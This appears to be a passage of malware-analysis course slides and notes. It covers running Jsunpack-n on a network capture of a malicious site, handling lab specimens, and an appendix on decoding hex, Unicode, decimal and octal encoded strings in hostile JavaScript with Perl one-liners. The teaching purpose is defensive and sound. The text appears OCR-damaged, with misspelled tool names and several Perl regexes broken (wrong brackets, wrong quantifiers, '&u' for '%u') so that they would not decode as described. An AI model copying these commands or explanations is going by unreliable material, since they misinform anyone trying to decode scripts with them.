The network capture file in this example is on your course DVD in `Malware\day4\butterfly.zip` and on your REMMux virtual machine in `~remmux/malware/day5/butterfly.zip`. This zip file contains a file called `butterfly.pcap`, which is the file we'll examine in this example.

To point Jsunpack-n to the capture file, simply supply it as the filename on the command line. We also specified the `-s` parameter to save all the file that the tool can extract from this network capture.

```
./jsunpack-n.py -s ~/malware/day4/butterfly.pcap
```

Note that to run Jsunpack-n, you should be located within the directory where the tool is installed.

As you can see in this example, Jsunpack-n extracted several URLs from the network capture file and identified several exploits.
Running "file files/*" shows the types of files extracted by Jpsack-n from the session. Notice that in this example, one of the files is a zip archive. You can list contents of the zip archive without extracting it using the "unzip -l" command; if you wish to extract them, you simply omit the "-l" parameter.

Judging by the contents of this zip archive, it is actually a Java applet file. These files are called "JAR" archives, and are simply zip-compressed archives that contain the files necessary to run the applet within the browser. This applet is probably malicious.

You may have noticed that in this example we were accessing the same malicious site that we retrieved with Jpsack-n's active fetch mode in the previous example. Yet, here, we see a Java applet used to target in victim. In the previous example, we saw a reference to a PDF file and several Windows executable files. The differences could be because of the different browsers and their add-ons that the malicious website attempted to target in these scenarios. The more likely possibility, in this case, is that Jpsack-n's active fetch mode parses the pages it retrieves to determine which additional files to download from the malicious website; however, it did not recognize the "applet" HTML tag, and did not retrieve the corresponding JAR file.
A few additional notes about Jsunpack-n...

Consider specifying the "-V" (capital V) parameter when invoking Jsunpack-n run the tool in verbose mode. This will provide you with additional insights into what the tool is seeing and doing.

Jsunpack-n accepts the "-a" parameter (active fetch mode) even when you're analyzing .pcap network capture files you recorded earlier. In this case, if your analysis system is connected to the Internet, Jsunpack-n may fetch additional files that the infected machine might not have downloaded.

Jsunpack-n has other features useful for malware analysis, which we did not fully explore in this section. These include the detection of shellcode and the identification of JavaScript embedded in PDF and SWF files.

Also, recall that Jsunpack-n uses Mozilla's SpiderMonkey engine for deobfuscating JavaScript. This means that it might not be able to deobfuscate scripts written to run only in Internet Explorer. You may recall, for instance, that a malicious script may use the `arguments.callee` method to prevent the script from deobfuscating properly in a browser other than Internet Explorer, because of the differences in the `arguments.callee` implementation across browsers.

The Jsunpack-n tool is still a work in progress and is being actively developed. Be sure to keep an eye on the announcements regarding the tool's improvements on the http://jsunpack.blogspot.com blog and keep an eye out for bugs.
What We've Learned so Far

- How to use tools for manually and automatically examining scripts
- How to deal with anti-deobfuscation
- How to define JavaScript objects and methods for deobfuscation

Let's summarize what we covered in this course module: We've been focusing on analyzing malicious browser scripts in the form of JavaScript and VBScript. To this end, we learned how to use a number of excellent tools from Mozilla, Microsoft, and other sources.

We also covered a number of techniques malware authors use to make the analysis of their scripts more difficult. In turn, we learned how to bypass such defenses. In the process, we learned how to define JavaScript objects that may be required for proper deobfuscation of the malicious script.
Now, an overview of the exercises to reinforce the materials we just covered.
Hands-on Exercises

4. Mozilla-based tools: storm.zip
5. Anti-deobfuscation techniques: unescape.zip, encoded.zip, bonus.zip, append.zip, modified.zip, fgg.zip
6. Microsoft tools: callee.zip, source.zip
7. Automation: source.zip, butterfly.zip

If you haven't already, please take some time to review the examples presented in this section. Here's a reminder of the hand-on examples we covered:

- Mozilla-based tools: SpiderMonkey, Rhino and Malzilla (storm.zip)
- Defeating anti-deobfuscation techniques:
  - Escape (unescape.zip)
  - 8-bit encoding (encoded.zip)
  - Split scripts (bonus.zip)
  - HTML elements (append.zip)
  - Last-Modified (modified.zip)
  - Location (fgg.zip)
- Microsoft tools:
  - IE Developer Tools debugger (callee.zip)
  - cscript (vbscript.zip, callee.zip)
- Other automation tools:
  - JavaScript Deobfuscator (source.zip)
  - Jsunpack (butterfly.zip)

If you want to experiment with other malicious browser scripts, take a look at script1.zip and script2.zip files in the \Malware\extra directory on your course DVD. They're also in ~remnux/malware/extra on your REMnux virtual machine.
Watch Your Step with Malware

- Ensure isolation of your laboratory environment.
- Specimens in the \Malware\day4 directory on the DVD
- Zip archive password: "malware"

Hands-on exercises for this course involve real-world malware code that is dangerous and needs to be handled with care. Please follow isolation guidelines and common sense precautions to ensure that you do not accidentally impact your production environment.

The malware specimens used for these exercises are located on the \Malware\day4 directory on the DVD you received for this course. They are also on your REMux virtual machine in ~/remux/malware/day4. Each specimen is in a dedicated zip file that is protected with the password "malware" to help prevent accidental execution and anti-virus detection.
Hands-On Exercises: Solutions

Solutions to this set of exercises have been presented in the course materials. Please go over the previously-discussed slides for guidelines for performing the exercises and to validate your answers.

We've already covered the solutions to these exercises in the previous slides.
End of FOR610.4

- You have now completed FOR610.4.

Congratulations! You have reached the end of FOR610.4.
As part of the FOR610 course, we have covered a number of tools that can assist us in deobfuscating and decoding malicious browser scripts. You are now familiar with some of the decoders built into Malzilla, for example. In this appendix, we will go over the techniques we can use to manually decode script contents with Regular Expressions (RegEx) using Perl. It is useful to know how to do this, since you will eventually run into a situation where you will want to tweak the type of decoding that a tool such as Malzilla performs automatically. Being able to perform such operations in Perl, or another language that support the RegEx syntax, will save you a lot of time.

The techniques and approaches in this appendix to FOR610 are based on the materials contributed by Drew Hunt and was adapted for the FOR610 course by Lenny Zeltser. We are very grateful for his contributions and insights into this topic.
Why Perl for Decoding?

- Mature and available for most OS
- Relatively easy to implement powerful string transformations
- Useful for quickly pulling out and decoding strings within scripts
- A flexible alternative and supplement to Malzilla decoders

There are many choices of programming and scripting languages you can use for processing strings and decoding characters within malicious pages. We selected Perl for the upcoming set of examples for several reasons:

- Perl is relatively well-known
- Perl is a mature platform that is available for most Operating Systems. It is a part of most Unix distributions, and you can install it on Windows by downloading ActivePerl from http://www.activestate.com. (Perl is installed on the REMnux Linux distribution you received for this course.)
- Perl supports a powerful regular expression syntax that allows writing for compact transformation scripts.

We will use Perl to decode and quickly pull out interesting strings that might be embedded in malicious web pages. We will save the file locally, and then transform its contents as we wish using Perl's regular expression, substitution and other commands. Even if you prefer to use another language for these tasks, the same underlying techniques will apply.
To learn about Perl's string decoding and transformation capabilities, we will use the excerpt from a malicious web page, which you can see on this slide. It is available on the DVD you received for this course in the \malware\day4\test.zip archive. It is also on your REMux virtual machine in \remux\malware\day4\test.zip.

This is a portion of the exploit script at the end of the deobfuscation chain for an example we used earlier in the course. It includes a shellcode payload that attempts to download an executable file and install it on the system.

For our scenario, let's say you would like to quickly determine the URL that the script is using to retrieve the file from a remote web server. You can use Perl do accomplish this without having to debug or interpret this JavaScript.
Our Approach

- Clean up the script for easier reading
  - Remove whitespace
  - Quoted concatenation ("+") makes it difficult to process script automatically
- Identify encoded strings
  - Function names, URLs, etc.
- Decode and extract the strings

We will first want to clean up the script a bit to make it easier to read. This will involve removing whitespace (newlines, tabs, extra spacing). We will also concatenate strings that the page concatenates using the "+" operator, because it makes it difficult to process the script automatically.

We then identify the strings we want to be able to decode, and assess the type of decoding we will need to perform. We will then transform and extract the strings.

The transformation process will often involve dealing with the various ways in which strings can be encoded. For instance, the letter "b" might be encoded in several ways:

- \%62 – Hex
- \%u0062 – Unicode
- /142 – Octal
- 5#98 – HTML

There are other encodings that require mathematical computation and more complex scripting to overcome. Our example is using the Unicode encoding.
What You Need to Know About Language Encoding (1)

- ASCII = 7-bits
  - English alphanumeric mostly
- ISO standards = 8-bits
  - Expands language support
  - Great for Romance languages
  - Not suitable for pictographic languages of East Asia

The ASCII representation of characters is mostly used for representing numbers, English letters, and some special characters. It uses 7 bits to represent each character. To see the full listing of the characters supported by ASCII, take a look at www.ascii-table.com.

ISO 8-bit character sets expand ASCII to support additional languages, and are particularly well-suited for Romance languages. However, they do not have enough bits to represent pictographic languages of East Asia.
What You Need to Know About Language Encoding (2)

- **Unicode – UTF-16 = 16-bits**
  - Most common Unicode type
  - Supports standard-language subsets of most East Asian pictographic languages (Korean, Japanese, and Simplified Chinese)
  - Does not provide a complete representation of the entire language. More bits needed.

- **Unicode – UTF-32 = 32-bits**
  - More bits, more pictographic characters (Traditional Chinese)

Unicode encodings expand the number of characters that the set can represent, using 16 bits for UTF-16 and 32 bits for UTF-32.

UTF-16 supports standard-language subsets of the majority of East Asian pictographic languages, such as Korean, Japanese, and Simplified Chinese. However, it does not have enough bits to represent these languages fully. More bits are needed. This is where UTF-32 comes in. It supports an increased number of pictographic characters needed for Traditional Chinese characters.
A Unicode character embedded into a web page begins with "/u". To decode it and uncover the string it represents, read each pair of characters from right to left. Each pair represents a letter in hexadecimal form.

As you can see, having an automated approach to performing this can save you a lot of time, since it can be difficult to manually read and decode strings in alternating reverse order.
Before we can automatically decode the strings in our example, we need to understand the structure of Perl's substitution command. The command begins with "s" ("s" stands for "substitute").

You then specify the regular expression that allows Perl locate the string that needs to be replaced. Next, you specify the replacement text or statement for substituting the string that the first half of the command matched. These are enclosed within "/'" marks.

At the end of the substitution command you specify "g", which stands for "global" and tells Perl to substitute all matching strings in the text, not just the first one.

You can also specify "e" if you need to do more than simply strip or replace characters. "e" stands for "executable" and allows you to specify executable functions in the replacement statement. You may use such functions to transform characters, for instance from hex ("%62") to the character ("b").
Portable Execution via Perl
Command Line

```
cat file | perl -pe 's/find_this/replace_with_this/ge'
```

- "-pe" tells Perl to process the command with its interpreter.
- It will process each line of input using the specified command.
- Allows for simple scripting on the command line.

You will find it convenient to specify Perl transformation instructions on the command line, without having to include them in script files. To do this, invoke Perl with "-pe" parameters, which will instruct the Perl interpreter to read the command as its own script. The parameters "-pe" stand for "portable execution."

When in portable execution mode, Perl will loop through every line it receives as input, and process that line using the specific command. This allows for simple scripting that is small enough to be piped without writing script files.
Character Selection in Perl (1)

- You need to specify which and how many characters to process.
- You must define a regular expression that matches the desired characters
  - So Perl knows what substitute

When specifying the string-processing command, you need to tell Perl which characters it should process for each iteration of the command. You accomplish this by defining a regular expression that matches the desired characters, so Perl knows what to substitute. To do this, you need to know the format of regular expressions (RegEx).
Character Selection in Perl (2)

• Characters that match the RegEx in parenthesis will be saved into variables $1, $2, etc.
• Find '%', save 2 characters that follow into $1, cast them as hex, transform them to a character, substitute the original '%' and two characters with the resulting calculated character.

If you want to manipulate certain characters in the string being replaced, you need to define the regular expression that matches those characters that should be replaced, and enclose it in parenthesis. Perl will save these matching characters into temporary variables names $1, $2, $3, etc., a variable per matching set of parenthesis.

In the example on this slide, we've asked Perl to find the "\%" character in the line it is processing. A dot in a regular expression represents any character. So we're asking Perl to match any two characters that follow "\%". Because we've enclosed " \% " in parenthesis, Perl will save those two characters in variable $1.

The replacement statement asks Perl to use the hex () function to transform the characters saved into $1 from hex to decimal, and then converts them into the corresponding character via the chr () function.

As a result, any two characters that follow "\%" will be replaced with the newly realized character that we've transformed according to this logic.

Let's take a look at a few more examples...
Perl Transformation Examples

%68%74%74%70%3A%2F%2F - Hex

```perl
    cat file | perl -pe 's/%(.)/
                   chr(hex($1))/ge'
```

http://

%u7468%u7074%u2F3A%u782F%u6169 - UTF-16

```perl
    cat file | perl -pe 's/%u(\(..)(\..)/
                      chr(hex($2)).chr(hex($1))/ge'
```

http://xia

The first example on this slide is similar to the one presented on the previous slide. The encoded string is comprised of a series of two hexadecimal character values following "%". This means it's a hex encoding, and we can use the substitution command discussed on the previous slide. The encoded text is in the file named "file". We read the file using the "cat" command, which is standard on Unix. On Windows you can use the type command to accomplish this. The output of the cat command is passed to Perl, which accepts the file as input and processes it line by line. (In this example, there's only one line to process.) The decoded string is "http://".

The second example on this slide is encoded using Unicode, specifically UTF-16. You can tell that because the string is comprised of a series of four hexadecimal characters following "%u". The regular expression looks for "%u", then saves two pairs of characters that follow "%u" into variables $1 and $2. The replacement statement reverses each character pair, interprets them as hex, then converts them into characters. The single dot ("." ) operator concatenates the resulting characters into a single string. (hex() converts hex numbers to decimal.) This produces "http://xia".
More Perl Transformation Examples

/104/116/116/112/58/47/47 - Decimal

```
cat file | perl -pe 's/\/(0-9)/chr($1)/ge'
```

http://

\150\164\164\160\72\57\57 - Octal

```
cat file | perl -pe 's/\/(0-9)/chr(oct($1))/ge'
```

http://

The first example on this slide is using the decimal representation of characters. You can tell that by the slashes ("/") that separate the sequence of numbers that form the encoded string. To decode it, we need to replace the slash, as well as any numbers that follow it. So that the slash within the regular expression is not confused for the slash that marks the beginning of the replacement string, our slash is escaped with the back-slash ("\"/"'). The expression "[0-9]" matches one or more digits (0-9). This expression is inside parenthesis, so that Perl saves it into the temporary variable $1. The matched string is replaced with the character representation of the sequence of numbers saved into the $1 variable. The decoded string is "http://".

The second example is using the octal representation of characters. You can tell that by the back-slashes ("\") that separate the sequence of numbers that form the encoded string. To decode it, you need to replace the back-slash, as well as any numbers that follow it. Perl treats a back-slash as a special escape character in regular expressions, so to treat the back-slash literally, you need to escape it using "\"." The expression "[0-9]" matches one or more digits (0-9). This expression is inside parenthesis, so that Perl saves it into the temporary variable $1. The matched string is replaced with the character representation of the sequence of numbers saved into the $1 variable, after they have been interpreted as octal characters. ("oct( )" converts the octal number to decimal.) The decoded string is "http://".
Now that we are familiar with the way of using Perl to transform strings, let's go back to our main example. We will first clean up the encoded page by removing newlines that break the flow of the single statement we're trying to interpret. We perform this by replacing newlines (represented by "\n") with nothing. Our next step is to remove the whitespace, as it will help normalize the script to assist in further automated processing. We accomplish this by replacing spaces (" ") with nothing. If we wanted to replace tabs, we would specify "\t".

Note that we are forming a chain of Perl transformation commands by piping the output of one command as input to the other.
Eliminate Concatenation Confusion

... | perl -pe 's/\"/\"/g'

Next we will concatenate the string that the malicious page currently splits into several strings. In JavaScript the concatenation command is the plus sign. We want to bring those strings together to form a single string for easier processing. To do this, we replace the plus sign preceded and followed by quotes with nothing. We need to escape quotes and the plus sign with the back-slash to ensure Perl treats these special characters literally.

If we were dealing with a more complex encoded script that contained multiple JavaScript commands separated by semicolons (";"), we would probably want to ensure that each JavaScript command is on a line by itself. We could accomplish this by replacing semicolons with semicolons followed by newline characters:"...

 perl -pe 's;/;\n/'
Our final step is to transform the UTF-16 encoded strings using the expression we mentioned earlier, then use the strings utility to extract the resulting strings.

And we're done! On the slide you can see the strings that we embedded into the file in an encoded manner. Among those strings is the URL we've been after.
Putting it All Together

```
cat test.js | perl -pe 's/\n//g' |
perl -pe 's/ //g' |
perl -pe 's/\"\+/\"/g' |
perl -pe 's/\&u(...)(...)/
    chr(hex($2)).chr(hex($1))/ge' |
strings
```

This provides you with the link to download the binary or search proxy logs for incident response.

On this slide you can see the chain of our transformations as a single instruction. Isn’t it beautiful?

The resulting transformation reveals the link that the script would have downloaded. You can grab that file for analysis, or search your proxy server’s logs to determine whether any of your users had the misfortune of visiting that URL.

In this part of the course we presented the fundamentals of Perl regular expressions and transformation capabilities. It can do much more if you employ its more advanced features. If you’re interested in learning more about this topic, research Perl regular expression (RegEx) syntax to perform matching, substitution, and to make use of execution options. The following sites can jump-start your research:

PowerGREP REGEX Tutorial
http://www.regular-expressions.info

Wikipedia REGEX
http://en.wikipedia.org/wiki/Regex
You've reached the end of this Appendix to the FOR610.4 course section.